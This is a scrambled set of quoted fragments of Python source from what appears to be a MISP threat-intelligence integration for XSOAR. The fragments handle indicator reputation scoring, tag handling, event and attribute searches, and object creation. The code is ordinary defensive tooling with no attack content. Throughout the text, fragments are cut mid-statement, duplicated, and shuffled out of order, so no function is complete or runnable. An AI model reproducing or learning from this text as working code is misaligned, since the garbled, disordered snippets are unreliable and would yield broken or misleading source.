attribute.get('Sighting')] if attribute.get('Sighting') else", "and Events that: * have tags which configured as malicious", "'false_positive': 1, 'expiration': 2 } SIGHTING_TYPE_ID_TO_NAME = { '0': 'sighting',", "False, demisto_args: dict = {}, new_event: MISPEvent = None): \"\"\"Adding", "delimiter for parameters and ';' as delimiter for operators. using", "deleted' return CommandResults(readable_output=human_readable, raw_response=response) def add_tag(demisto_args: dict, is_attribute=False): \"\"\" Function", "List[dict]) -> GenericObjectGenerator: \"\"\" Args: template_name: template name as described", "(name, id, threat level id) about all the events that", "<= 0: raise DemistoException(f\"Tag id has to be a positive", "search returned from MISP to the context output format. please", "< 0: raise DemistoException(\"page should be zero or a positive", "error: return_error('Unable to connect to MISP because of a NewConnectionError,", "def build_attributes_search_response(response: Union[dict, requests.Response], include_correlations=False) -> dict: \"\"\" Convert the", "command_results def reputation_value_validation(value, dbot_type): if dbot_type == 'FILE': # hashFormat", "there is an id that exists in both sets, it", "reliability, attributes_limit)) elif command == 'email': return_results(generic_reputation_command(args, 'email', 'EMAIL', malicious_tag_ids,", "(dict): contains info (name, id, threat level id) about all", "has been successfully removed from the event {uuid}' return CommandResults(", "part of the event scope). If the data is attribute's", "None attribute_highlights.append({ 'Attribute ID': attribute.get('ID'), 'Event ID': attribute.get('EventID'), 'Attribute Category':", "if 'type' in args_to_misp_format: args_to_misp_format['type_attribute'] = args_to_misp_format.pop('type') if 'to_ids' in", "list of attributes along with their events objects. Note: When", "except PyMISPError: raise DemistoException(\"Adding the required tag was failed. Please", "if url_parse.fragment else None url_obj.append({'port': url_parse.port}) if url_parse.port else None", "is_complex_or_operator or is_complex_not_operator if is_complex_search: return PYMISP.build_complex_query(**misp_query_params) return demisto_query def", "dbot_type == \"EMAIL\": return Common.EMAIL(address=value, dbot_score=dbot_score) if dbot_type == \"URL\":", "2 } SIGHTING_TYPE_ID_TO_NAME = { '0': 'sighting', '1': 'false_positive', '2':", "certificate option.') if \"NewConnectionError\" in error: return_error('Unable to connect to", "outputs_key_field='ID', outputs=build_attributes_search_response(updated_event), raw_response=updated_event ) def generic_reputation_command(demisto_args, reputation_type, dbot_type, malicious_tag_ids, suspicious_tag_ids,", "contains info (name, id, threat level id) about all the", "= is_misp_complex_search_helper(match_or, misp_query_params, 'or_parameters') is_complex_not_operator = is_misp_complex_search_helper(match_not, misp_query_params, 'not_parameters') is_complex_search", "add_generic_object_command(demisto_args: dict): event_id = demisto_args.get('event_id') template = demisto_args.get('template') attributes =", "f\"MISP search-events returned {len(response_for_context)} events.\\n {pagination_message}\", event_outputs_to_human_readable, removeNull=True) return CommandResults(", "False def get_score(attribute_tags_ids, event_tags_ids, malicious_tag_ids, suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level): \"\"\" Calculates the", "suspicious_tag_ids, attributes_limit) dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=score, reliability=reliability, malicious_description=\"Match found", "limit_tag_output attributes_tag_ids.update(tag_ids) return found_related_events, attributes_tag_ids, event_tag_ids def convert_timestamp_to_readable(attribute, event): if", "so no events should be found. Returns: list includes all", "demisto_args.get('template') attributes = demisto_args.get('attributes').replace(\"'\", '\"') try: args = json.loads(attributes) if", "has been deleted' return CommandResults(readable_output=human_readable, raw_response=response) def add_tag(demisto_args: dict, is_attribute=False):", "exists) it says that it is an attribute's tag. If", "'Org', 'Orgc', 'RelatedEvent', 'Galaxy', 'Tag', 'decay_score', 'Object', 'Feed', ] ATTRIBUTE_FIELDS", "or not exists) it says that it is an attribute's", "if misp_attributes_args: non_req_args = [ 'first_seen', 'last_seen', ] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args))", "tag.get('ID') == found_tag: event_id = get_event_id(object_data_dict) tag_name = tag.get('Name') related_events.append({'Event_ID':", "key): replace_keys_from_misp_to_context_data(value) for key, value in obj_to_build.items() } return obj_to_build", "data, we want to limit this list to include only", "MISPObject, MISPSighting, MISPEvent, MISPAttribute from pymisp.tools import GenericObjectGenerator import copy", "ID': found_tag_id, 'Scored Tag Name': found_tag_name, } def limit_tag_output_to_id_and_name(attribute_dict, is_event_level):", "search_events(demisto_args: dict) -> CommandResults: \"\"\" Execute a MISP search using", "'Object': 'Object', 'object_id': 'ObjectID', 'object_relation': 'ObjectRelation', 'template_version': 'TemplateVersion', 'template_uuid': 'TemplateUUID',", "= f'Tag {tag} has been successfully added to event {uuid}'", "found in MISP for value: {value}\") def get_events_related_to_scored_tag(all_attributes, found_tag): \"\"\"", "demisto_args: dict = {}, new_event: MISPEvent = None): \"\"\"Adding attribute", "hash_type == 'sha1': return Common.File(dbot_score=dbot_score, sha1=value) if hash_type == 'sha256':", "sorted(attributes_list, key=lambda attribute_item: attribute_item['event_id'], reverse=True)[:attributes_limit] found_related_events, attributes_tag_ids, event_tag_ids = prepare_attributes_array_to_context_data(attributes_list)", "reliability, attributes_limit)) return command_results def reputation_value_validation(value, dbot_type): if dbot_type ==", "results. \"\"\" reputation_value_validation(value, dbot_type) misp_response = PYMISP.search(value=value, controller='attributes', include_context=True, include_correlations=True,", "fields as they are shared by the events found_tag_id =", "email address: {value} is not valid\") def get_indicator_results(value, dbot_type, malicious_tag_ids,", "reliability=reliability, malicious_description=\"No results were found in MISP\") indicator = get_dbot_indicator(dbot_type,", "the tag. Args: attribute_dict (dict): The dictionary that includes the", "'ID', 'date': 'CreationDate', 'info': 'Info', 'published': 'Published', 'attribute_count': 'AttributeCount', 'proposal_email_lock':", "the tags and galaxies lists. Eventually, the outputs will be", "positive number.') response = PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json') if PYMISP._check_json_response(response): return 'ok'", "list): return [replace_keys_from_misp_to_context_data(item) for item in obj_to_build] if isinstance(obj_to_build, dict):", "if attributes_limit < 0: raise DemistoException('Attribute limit has to be", "dict): \"\"\"Adds a domain object to MISP domain-ip description: https://www.misp-project.org/objects.html#_domain_ip", "has not connected.') def build_feed_url(demisto_args): url = demisto_args.get('feed') url =", "return [{k: v} for k, v in args.items()] def build_generic_object(template_name:", "in output hash_format = get_hash_type(value) if hash_format == 'Unknown': raise", "of a SSLCertVerificationError, ' 'Please try to use the Trust", "build_object_output(events[i]) events[i]['timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events = replace_keys_from_misp_to_context_data(events)", "regexFlags).match(value): raise DemistoException(f\"Error: The given url: {value} is not valid\")", "the greater event ids are the newer ones. Returns: response", "args_to_misp_format: args_to_misp_format['limit'] = '50' if 'tags' in args_to_misp_format: args_to_misp_format['tags'] =", "'analysis': 'Analysis', 'threat_level_id': 'ThreatLevelID', 'old_id': 'OldID', 'org_id': 'OrganizationID', 'Org': 'Organization',", "integers.\"\"\" for tag in tag_ids: try: tag = int(tag) if", "will be scored 2 (i.e suspicious). * don't have any", "CommandResults(readable_output=f\"No attributes found in MISP for the given filters: {args}\")", "'description': star.get('description') } for star in given_object['Galaxy'] ] def build_object_output(event):", "a valid key in the integration configuration.') MISP_URL = params.get('url')", "\"\"\" By the given object we go over all the", "event tags). Args: value (str): The indicator value (an IP", "returned Returns: str: dictionary created for misp to perform complex", "ones. Returns: response (dict): The parsed outputs to context data", "if related_events[i] not in related_events[i + 1:]: related_events_no_duplicates.append(related_events[i]) return related_events_no_duplicates", "if PREDEFINED_FEEDS.get(url): url = PREDEFINED_FEEDS[url].get('url') # type: ignore return url", "PYMISP.add_object(event_id, misp_object=obj) if 'errors' in response: raise DemistoException(f'Error in `{demisto.command()}`", "example for a response in test_data/reputation_command_response.json Please see an example", "= PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has been successfully added", "+= tableToMarkdown('Related events', list(found_related_events.values())) return CommandResults(indicator=indicator, raw_response=misp_response, outputs=all_attributes, outputs_prefix='MISP.Attribute', outputs_key_field='ID',", "suspicious_tag_ids, attributes_limit): \"\"\" After getting all the attributes which match", "attributes_args.get('value') updated_event = PYMISP.search(eventid=new_event.id, controller='attributes', value=value) human_readable = f\"## MISP", "'last_seen', 'value', 'Event', 'Object', 'Galaxy', 'Tag', 'decay_score', 'Sighting', ] def", "Orgc ID': event.get('OwnerOrganization.ID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID'), })", "In addition, returns set of the found tag ids. Some", "sighting_type = demisto_args['type'] # mandatory arg att_id = attribute_id or", "None attributes_list = sorted(attributes_list, key=lambda attribute_item: attribute_item['event_id'], reverse=True)[:attributes_limit] found_related_events, attributes_tag_ids,", "if args.get('info') else 'Event from XSOAR' event.date = datetime.today() event.published", "in args_to_misp_format: args_to_misp_format['includeFeedCorrelations'] = 1 if demisto_args.get( 'include_feed_correlations') == 'true'", "page size: {limit}\\n\" if len(response_for_context) == limit: pagination_message += f\"Showing", "correct.') return_error(error) def warn(*args): \"\"\" Do nothing with warnings \"\"\"", "Category': attribute.get('Category'), 'Attribute Type': attribute.get('Type'), 'Attribute Comment': attribute.get('Comment'), 'Attribute Value':", "'Scored Tag Name': found_tag_name, } def limit_tag_output_to_id_and_name(attribute_dict, is_event_level): \"\"\" As", "all the indicator results. \"\"\" reputation_value_validation(value, dbot_type) misp_response = PYMISP.search(value=value,", "the malicious one (as a tag that was configured to", "it is an attribute's tag. If the data is event's", "r'(NOT:)([^\\;]+)(;)?' misp_query_params = dict() match_and = re.search(regex_and, demisto_query, re.MULTILINE) match_or", "'CIRCL': {'name': 'CIRCL OSINT Feed', 'url': 'https://www.circl.lu/doc/misp/feed-osint', 'format': 'misp', 'input':", "score. attributes_limit (int) : Limits the number of attributes that", "def build_object_output(event): if event.get('Object'): event['Object'] = [ { 'name': event_object.get('name'),", "reliability, attributes_limit)) elif command == 'url': return_results( generic_reputation_command(args, 'url', 'URL',", "the suspicious tag ids set and will be stayed only", "'version': 'Version', 'Object': 'Object', 'object_id': 'ObjectID', 'object_relation': 'ObjectRelation', 'template_version': 'TemplateVersion',", "id {new_event.id}.\\n\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(updated_event), raw_response=updated_event )", "= PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json') if PYMISP._check_json_response(response): return 'ok' else: raise DemistoException('MISP", "raise DemistoException(\"Removing the required tag was failed. Please make sure", "integration reliability score. attributes_limit (int) : Limits the number of", "dbot_type == \"IP\": return Common.IP(ip=value, dbot_score=dbot_score) if dbot_type == \"DOMAIN\":", "be recognised as malicious. suspicious_tag_ids (set): Tag ids should be", "in event.get('Galaxy')] def event_to_human_readable_object_list(event): event_objects = event.get('Object', []) if event_objects:", "'domain', 'DOMAIN', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'email':", "} MISP_DISTRIBUTION_TO_IDS = { 'Your_organization_only': 0, 'This_community_only': 1, 'Connected_communities': 2,", "score by following logic. Indicators of attributes and Events that:", "search-events returned {len(response_for_context)} events.\\n {pagination_message}\", event_outputs_to_human_readable, removeNull=True) return CommandResults( raw_response=response,", ") MISP_SEARCH_ARGUMENTS = [ 'value', 'type', 'category', 'org', 'tags', 'from',", "CommandResults(readable_output=human_readable) raise DemistoException(f\"An error was occurred: {json.dumps(response)}\") def test(malicious_tag_ids, suspicious_tag_ids,", "'ProposalToDelete', 'description': 'Description', 'version': 'Version', 'Object': 'Object', 'object_id': 'ObjectID', 'object_relation':", "try: uri_list = requests.get(osint_url, verify=use_ssl, headers=headers, proxies=proxies).json() events_ids = list()", "elif command == 'misp-delete-event': return_results(delete_event(args)) elif command == 'misp-add-sighting': return_results(add_sighting(args))", "if isinstance(new_event, dict) and new_event.get('errors'): raise DemistoException(new_event.get('errors')) event_id = new_event.id", "details. \"\"\" event = MISPEvent() event.distribution = MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg =", "== 'true' else 0 if 'enforceWarninglist' in args_to_misp_format: args_to_misp_format['enforceWarninglist'] =", "f\"## MISP add attribute\\nNew attribute: {value} was added to event", "test_data/reputation_command_response.json Please see an example for a parsed output in", "args_to_misp_format.pop('type') if 'to_ids' in args_to_misp_format: args_to_misp_format['to_ids'] = 1 if demisto_args.get('to_ids')", "event_objects, 'Publish Timestamp': event.get('PublishTimestamp'), 'Event Info': event.get('Info'), 'Event Org ID':", "if 'include_feed_correlations' in args_to_misp_format: args_to_misp_format['includeFeedCorrelations'] = 1 if demisto_args.get( 'include_feed_correlations')", "args dict into a list, please see GenericObjectGenerator Class in", "Sightings': attribute_sightings, 'To IDs': attribute.get('ToIDs'), 'Timestamp': attribute.get('Timestamp'), 'Event Info': event.get('Info'),", "'comment': demisto_args.get('comment'), 'value': demisto_args.get('value') } event_id = event_id if event_id", "outputs_key_field=\"ID\" ) else: return CommandResults(readable_output=f\"No attributes found in MISP for", "outputs.get('Attribute') events_to_human_readable = get_events_related_to_scored_tag(all_attributes, found_tag) attribute_highlights = reputation_command_to_human_readable(all_attributes, score, events_to_human_readable)", "Args: event_id (int): Event ID to add attribute to internal", "re.search(regex_and, demisto_query, re.MULTILINE) match_or = re.search(regex_or, demisto_query, re.MULTILINE) match_not =", "or event (False). \"\"\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag')", "= response[0] # response[0] is MISP event new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event) if", "score of the indicator. For the context data outputs, for", "connect to MISP because of a NewConnectionError, ' 'Please make", "== 'sha1': return Common.File(dbot_score=dbot_score, sha1=value) if hash_type == 'sha256': return", "return CommandResults(readable_output=human_readable) raise DemistoException(f\"An error was occurred: {json.dumps(response)}\") def test(malicious_tag_ids,", "object type that got in \"\"\" if isinstance(obj_to_build, list): return", "list includes all the events that were detected as related", "= PYMISP.add_object(event_id, misp_object=obj) if 'errors' in response: raise DemistoException(f'Error in", "to a given MISP event object This function can be", "in event_tags] def event_to_human_readable_galaxy_list(event): event_galaxies = event.get('Galaxy', []) if event_galaxies:", "url_parse.username and url_parse.password else None url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args)) g_object = build_generic_object('url',", "PYMISP.add_event(misp_new_event) event_object = add_event_response.get('Event') if event_object and 'id' in event_object:", "args_to_misp_format.pop('last') if 'include_decay_score' in args_to_misp_format: args_to_misp_format['include_decay_score'] = 1 if demisto_args.get('include_decay_score')", ") else: return CommandResults(readable_output=f\"No attributes found in MISP for the", "suspicious. If no tag was found, then the score is", "'Distribution', 'type': 'Type', 'id': 'ID', 'date': 'CreationDate', 'info': 'Info', 'published':", "in response: raise DemistoException(f'Event ID: {event_id} has not found in", "response = PYMISP.add_object(event_id, misp_object=obj) if 'errors' in response: raise DemistoException(f'Error", "will be scored by their event's threat level id. In", "event_args events[i] = {key: events[i].get(key) for key in EVENT_FIELDS if", "int = None, internal: bool = False, demisto_args: dict =", "'Organization', 'Orgc': 'OwnerOrganization', 'orgc_uuid': 'OwnerOrganization.UUID', 'orgc_id': 'OwnerOrganization.ID', 'orgc_name': 'OwnerOrganization.Name', 'event_uuid':", "f'{url}/manifest.json' limit = arg_to_number(demisto_args.get('limit', 2), \"limit\", required=True) try: uri_list =", "readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(updated_event), raw_response=updated_event ) def generic_reputation_command(demisto_args, reputation_type, dbot_type,", "first_seen if last_seen: attribute_instance.last_seen = last_seen return attribute_instance def update_attribute_command(demisto_args:", "id has to be a positive integer, please change the", "command: {response}') for ref in obj.ObjectReference: response = PYMISP.add_object_reference(ref) for", "if url_parse.path else None url_obj.append({'query_string': url_parse.query}) if url_parse.query else None", "arg att_id = attribute_id or attribute_uuid if not att_id: raise", "build_misp_complex_filter(demisto_query: str): \"\"\" Examples are available in UT: test_build_misp_complex_filter. For", "DemistoException('Invalid hash length, enter file hash of format MD5, SHA-1", "is_attribute=True)) elif command == 'misp-remove-tag-from-event': return_results(remove_tag(args)) elif command == 'misp-remove-tag-from-attribute':", "args_to_misp_format['enforceWarninglist'] = 1 if demisto_args.get('enforceWarninglist') == 'true' else 0 if", "'limit' not in args_to_misp_format: args_to_misp_format['limit'] = '50' if 'tags' in", "dict_to_generic_object_format(args) obj = build_generic_object(template, args) return add_object(event_id, obj) except ValueError", "= 1 if demisto_args.get('include_correlations') == 'true' else 0 if 'enforceWarninglist'", "{pagination_message}\", attribute_highlights, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Attribute\", outputs_key_field=\"ID\"", "to be a positive number.') response = PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json') if", "limit and limit < 0: raise DemistoException(\"limit should be zero", "Name\": event.get(\"info\"), \"Threat Level ID\": event.get('threat_level_id'), \"Event ID\": event.get(\"id\")} if", "event.get('Galaxy', []) if event_galaxies: return [galaxy.get('Name') for galaxy in event.get('Galaxy')]", "arguments presents. command {demisto.command()} requires one of {ip_object_args}') def handle_tag_duplication_ids(malicious_tag_ids,", "limit has to be a positive number.') response = PYMISP._prepare_request('GET',", "was added to MISP.', events_ids) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID',", "'misp-search-attributes': return_results(search_attributes(args)) elif command == 'misp-delete-event': return_results(delete_event(args)) elif command ==", "is_attribute (bool): if the given UUID is an attribute's one.", "to MISP event ID {event_id}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID',", "# attribute level if not is_event_tag: tag_set_ids.add(tag_id) output.append({'ID': tag_id, 'Name':", "misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp')) formatted_response = replace_keys_from_misp_to_context_data(response) formatted_response.update({\"ID\": event_id}) human_readable = f'Object", "'Event Info': event.get('Info'), 'Event Organization ID': event.get('OrganizationID'), 'Event Distribution': event.get('Distribution'),", "valid positive integers.\"\"\" for tag in tag_ids: try: tag =", "context data outputs, for every attribute we remove the \"Related", "'uuid', 'timestamp', 'distribution', 'sharing_group_id', 'comment', 'deleted', 'disable_correlation', 'first_seen', 'last_seen', 'value',", "event.get('publish_timestamp')) def found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids = [\"1\", \"2\", \"3\"] for event", "for star in given_object['Galaxy'] ] def build_object_output(event): if event.get('Object'): event['Object']", "zero or a positive number\") if limit and limit <", "malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response = replace_keys_from_misp_to_context_data({'Attribute': attributes_list}) return formatted_response, score,", "ValueError as e: raise DemistoException( f'`attribute` parameter could not be", "context Returns: CommandResults includes all the indicator results. \"\"\" reputation_value_validation(value,", "outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=formatted_response, ) def add_file_object(demisto_args: dict): entry_id = demisto_args.get('entry_id')", "= match_operator.group(2).split(',') is_complex_search = True return is_complex_search def prepare_args_to_search(controller): demisto_args", "DBotScoreType.EMAIL, } DOMAIN_REGEX = ( r\"([a-z¡-\\uffff0-9](?:[a-z¡-\\uffff0-9-]{0,61}\" \"[a-z¡-\\uffff0-9])?(?:\\\\.(?!-)[a-z¡-\\uffff0-9-]{1,63}(?<!-))*\" \"\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\" \"|html)$)(?:[a-z¡-\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\.?$\" \"|localhost)\"", "dict) -> CommandResults: \"\"\" Execute a MISP search using the", "from keys in event_args events[i] = {key: events[i].get(key) for key", "new_event (MISPEvent): When this function was called from create event", "no complex query found returns the original input \"\"\" regex_and", "if event.get('Object'): event['Object'] = [ { 'name': event_object.get('name'), 'uuid': event_object.get('uuid'),", "= FileObject(file_path) return add_object(event_id, obj) def add_domain_object(demisto_args: dict): \"\"\"Adds a", "for tag in event_tags] def event_to_human_readable_galaxy_list(event): event_galaxies = event.get('Galaxy', [])", "MISPObject('domain-ip') ips = argToList(demisto_args.get('ip')) for ip in ips: obj.add_attribute('ip', value=ip)", "connect to MISP because of a SSLCertVerificationError, ' 'Please try", "for sighting in attribute.get('Sighting') ] def build_attributes_search_response_return_only_values(response_object: Union[dict, requests.Response]) ->", "0: raise DemistoException('Attribute limit has to be a positive number.')", "ignore return url def add_events_from_feed(demisto_args: dict, use_ssl: bool, proxies: dict):", "0 if 'include_feed_correlations' in args_to_misp_format: args_to_misp_format['includeFeedCorrelations'] = 1 if demisto_args.get(", "{e}') def add_object(event_id: str, obj: MISPObject): \"\"\"Sending object to MISP", "a valid value for the Source Reliability parameter\") attributes_limit =", "build_attributes_search_response_return_only_values(response_object: Union[dict, requests.Response]) -> list: \"\"\"returns list of attributes' values", "or a positive number\") def attribute_response_to_markdown_table(response: dict): attribute_highlights = []", "re.MULTILINE) is_complex_and_operator = is_misp_complex_search_helper(match_and, misp_query_params, 'and_parameters') is_complex_or_operator = is_misp_complex_search_helper(match_or, misp_query_params,", "'org', 'tags', 'from', 'to', 'event_id', 'uuid', 'to_ids', 'last', 'include_decay_score', 'include_sightings',", "reputation_command_to_human_readable(all_attributes, score, events_to_human_readable) readable_output = tableToMarkdown(f'Results found in MISP for", "event_highlights.append({ 'Event ID': event.get('ID'), 'Event Tags': event_tags, 'Event Galaxies': event_galaxies,", "return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(event), raw_response=event ) def add_attribute(event_id:", "sighting in attribute.get('Sighting') ] def build_attributes_search_response_return_only_values(response_object: Union[dict, requests.Response]) -> list:", "'misp', 'input': 'network'} } THREAT_LEVELS_TO_ID = { 'High': 1, 'Medium':", "== 'URL': if not re.compile(urlRegex, regexFlags).match(value): raise DemistoException(f\"Error: The given", "integration configuration.') MISP_URL = params.get('url') VERIFY = not params.get('insecure') PROXIES", "def get_limit_attribute_search_outputs(attributes): for i in range(len(attributes)): attributes[i] = {key: attributes[i].get(key)", "and the tag is only related to an attribute we", "command == 'misp-add-file-object': return_results(add_file_object(args)) elif command == 'misp-add-domain-object': return_results(add_domain_object(args)) elif", "found_tag, found_related_events def prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids, event_tag_ids = set(), set() found_related_events", "calculated the score of the indicator. For the context data", "sigh_obj = MISPSighting() sigh_obj.from_dict(**sighting_args) response = PYMISP.add_sighting(sigh_obj, att_id) if response.get('message'):", "domain, email or ip). malicious_tag_ids (set): Tag ids should be", "could not be decoded, may not a valid JSON\\nattribute: {attributes}',", "was called from create event command, the attrubite will be", "event_object = add_event_response.get('Event') if event_object and 'id' in event_object: events_ids.append({'ID':", "return value = attributes_args.get('value') updated_event = PYMISP.search(eventid=new_event.id, controller='attributes', value=value) human_readable", "sha256=value) if dbot_type == \"IP\": return Common.IP(ip=value, dbot_score=dbot_score) if dbot_type", "url_parse.query}) if url_parse.query else None url_obj.append({'domain': url_parse.netloc}) if url_parse.netloc else", "filters: {args}\") def delete_event(demisto_args: dict): \"\"\" Gets an event id", "decoded, may not a valid JSON\\nattribute: {attributes}', str(e)) def convert_arg_to_misp_args(demisto_args,", "is calculated by the tags ids (attribute tags and event", "tag ids. Some tags have a field called inherited. When", "misp_attributes_args) return add_object(event_id, obj) else: raise DemistoException( f'None of required", "if is_event_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag # no tag was found", "attribute_tags = [tag.get('Name') for tag in attribute.get('Tag')] if attribute.get( 'Tag')", "format to Demisto's (as appear in ENTITIESDICT) Args: obj_to_build (Union[dict,", "\"\"\" is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids) if attributes_limit < 0: raise DemistoException('Attribute limit", "[]) for tag in object_tags_list: if tag.get('ID') == found_tag: event_id", "the indicator. For the context data outputs, for every attribute", "MISPSighting, MISPEvent, MISPAttribute from pymisp.tools import GenericObjectGenerator import copy from", "'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY, proxies=PROXIES)) elif command == 'file': return_results( generic_reputation_command(args,", "is attribute's (attribute tags). \"\"\" output = [] tag_set_ids =", "= json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return [attribute.get('value') for attribute in", "MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg = args.get('threat_level_id') if threat_level_id_arg: event.threat_level_id = THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg", "url_parse.scheme}) if url_parse.scheme else None url_obj.append({'resource_path': url_parse.path}) if url_parse.path else", "misp to perform complex query or if no complex query", "return Common.IP(ip=value, dbot_score=dbot_score) if dbot_type == \"DOMAIN\": return Common.Domain(domain=value, dbot_score=dbot_score)", "demisto_args.get('id') attribute_uuid = demisto_args.get('uuid') sighting_type = demisto_args['type'] # mandatory arg", "or if no complex query found returns the original input", "= prepare_args_to_search('attributes') outputs_should_include_only_values = argToBoolean(demisto_args.get('compact', False)) include_correlations = argToBoolean(demisto_args.get('include_correlations', False))", "score, events_to_human_readable): found_tag_id, found_tag_name = \"\", \"\" for event in", "PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid) if isinstance(attribute_instance_response, dict) and attribute_instance_response.get('errors'): raise DemistoException(attribute_instance_response.get('errors')) human_readable", "limits the attributes amount, we sort the attributes list by", "correct.') if \"Please make sure the API key and the", "else url if PREDEFINED_FEEDS.get(url): url = PREDEFINED_FEEDS[url].get('url') # type: ignore", "{ 'name': event_object.get('name'), 'uuid': event_object.get('uuid'), 'description': event_object.get('description'), 'id': event_object.get('id') }", "= f\"## MISP add attribute\\nNew attribute: {value} was added to", "if event_tags: return [tag.get('Name') for tag in event_tags] def event_to_human_readable_galaxy_list(event):", "return CommandResults(readable_output=human_readable, raw_response=response) def add_tag(demisto_args: dict, is_attribute=False): \"\"\" Function will", "get the information about the attributes. \"\"\" response_object = copy.deepcopy(response)", "dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): \"\"\" This function searches for", "5 } SIGHTING_TYPE_NAME_TO_ID = { 'sighting': 0, 'false_positive': 1, 'expiration':", "Otherwise it's event's. \"\"\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag')", "or is_complex_not_operator if is_complex_search: return PYMISP.build_complex_query(**misp_query_params) return demisto_query def is_misp_complex_search_helper(match_operator,", "want to limit this list to include only the ID", "The parsed outputs to context data (array of attributes). score:", "command == 'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit)) elif command == 'misp-create-event':", "or a positive number\") if limit and limit < 0:", "found_related_events, attributes_tag_ids, event_tag_ids def convert_timestamp_to_readable(attribute, event): if attribute.get('timestamp'): attribute['timestamp'] =", "the data is event's (is_event_level = true) we would like", "attribute in attributes_list: attribute.pop(\"RelatedAttribute\") # get rid of this useless", "tag exist.\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable =", "event_to_human_readable_tag_list(event) event_galaxies = event_to_human_readable_galaxy_list(event) event_objects = event_to_human_readable_object_list(event) event_highlights.append({ 'Event ID':", "reliability = params.get('integrationReliability', 'B - Usually reliable') if DBotScoreReliability.is_valid_type(reliability): reliability", "-> str: \"\"\" Gets a timestamp from MISP response (1546713469)", "md = tableToMarkdown( f\"MISP search-events returned {len(response_for_context)} events.\\n {pagination_message}\", event_outputs_to_human_readable,", "att_id) if response.get('message'): raise DemistoException(f\"An error was occurred: {response.get('message')}\") elif", "indicator. For the context data outputs, for every attribute we", "Common.Domain(domain=value, dbot_score=dbot_score) if dbot_type == \"EMAIL\": return Common.EMAIL(address=value, dbot_score=dbot_score) if", "== 'file': return_results( generic_reputation_command(args, 'file', 'FILE', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit))", "build_tag_output(events[i]) build_object_output(events[i]) events[i]['timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events =", "amount, we sort the attributes list by the event ids", "returning outputs Args: obj: object to add to MISP event_id:", "tag list. is_event_level (bool): Whether the attribute_dict was received from", "event_id = get_event_id(object_data_dict) tag_name = tag.get('Name') related_events.append({'Event_ID': event_id, 'Event_Name': event_name,", "attribute_id = demisto_args.get('id') attribute_uuid = demisto_args.get('uuid') sighting_type = demisto_args['type'] #", "Test module. \"\"\" is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids) if attributes_limit < 0: raise", "raised by PYMISP into readable response, for more information and", "def dict_to_generic_object_format(args: dict) -> List[dict]: \"\"\" Converts args dict into", "'Event Orgc ID': event.get('OwnerOrganization.ID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID'),", "positive number\") if limit and limit < 0: raise DemistoException(\"limit", "return remove_duplicated_related_events(scored_events) def remove_duplicated_related_events(related_events): related_events_no_duplicates = [] for i in", "with the given attribute args\"\"\" new_event = get_new_misp_event_object(demisto_args) new_event =", "event_id else arg_to_number(demisto_args.get('event_id'), \"event_id\") attributes_args.update({'id': event_id}) if event_id else None", ":= tag) in attribute_tags_ids for tag in malicious_tag_ids) if is_attribute_tag_malicious:", "scored as malicious. - Attributes tags (both malicious and suspicious)", "= [] # there is no need in returning related", "< 0: raise DemistoException(\"limit should be zero or a positive", "args_names): return [{arg.replace('_', '-'): demisto_args.get(arg)} for arg in args_names if", "= event.pop('Tag_Name') return { 'Attribute Type': outputs[0].get('Type'), 'Dbot Score': score,", "tableToMarkdown( f\"MISP search-attributes returned {len(response_for_context)} attributes\\n {pagination_message}\", attribute_highlights, removeNull=True) return", "objects. Note: When limits the attributes amount, we sort the", "if demisto_args.get( 'include_feed_correlations') == 'true' else 0 